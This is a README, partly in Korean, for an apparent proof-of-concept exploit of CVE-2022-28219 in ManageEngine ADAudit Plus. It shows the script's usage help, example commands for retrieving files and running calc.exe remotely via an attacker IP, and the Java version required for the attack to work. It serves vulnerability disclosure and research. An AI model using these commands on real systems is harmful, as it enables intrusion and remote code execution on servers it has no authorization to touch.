horizon3ai/cve-2022-28219ManageEngine ADAudit Plus CVE-2022-28219에 대한 PoC
ManageEngine ADAudit Plus 빌드 < 7060에 영향을 미치는 CVE-2022-28219에 대한 POC
블로그에서 자세한 내용을 확인하세요: https://www.horizon3.ai/red-team-blog-cve-2022-28219
% python3 CVE-2022-28219.py -h
usage: CVE-2022-28219.py [-h] -t TARGET -l LHOST -d DOMAIN [-lhp HTTP_PORT] [-lfp FTP_PORT] [-f FILE] [-c COMMAND] [-u USER]
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
target URL with port
-l LHOST, --lhost LHOST
local bind IP
-d DOMAIN, --domain DOMAIN
fully qualified domain served by ADAudit Plus
-lhp HTTP_PORT, --http-port HTTP_PORT
local HTTP port to bind to
-lfp FTP_PORT, --ftp-port FTP_PORT
local FTP port to bind to
-f FILE, --file FILE get file or directory listing at given path, use forward slashes and don't include drive, e.g. /windows/win.ini or /users
-c COMMAND, --command COMMAND
command to execute, e.g. calc.exe
-u USER, --user USER user running ADAudit Plus app, useful for finding upload file quickly
예를 들어, c:\windows\win.ini 파일을 가져오려면:
python3 CVE-2022-28219.py -t <target_url> -l <attacker_ip> -d <target_fqdn> -f /windows/win.ini
또는 대상에서 calc.exe를 실행하려면:
python3 CVE-2022-28219.py -t <target_url> -l <attacker_ip> -d <target_fqdn> -c calc.exe
파일 검색 및 RCE를 사용하려면 ManageEngine ADAudit Plus가 Java 런타임 8u121 이하에서 실행 중이어야 합니다. ADAudit Plus에 번들로 제공되는 기본 Java 런타임 버전이 8u051이므로 대부분의 경우 이 조건이 충족됩니다.
이 소프트웨어는 오직 학술 연구와 효과적인 방어 기술 개발을 목적으로 제작되었으며, 명시적으로 승인된 경우를 제외하고 시스템 공격에 사용하기 위한 것이 아닙니다. 프로젝트 유지 관리자는 소프트웨어의 오용에 대해 책임을 지지 않습니다. 책임감 있게 사용하십시오.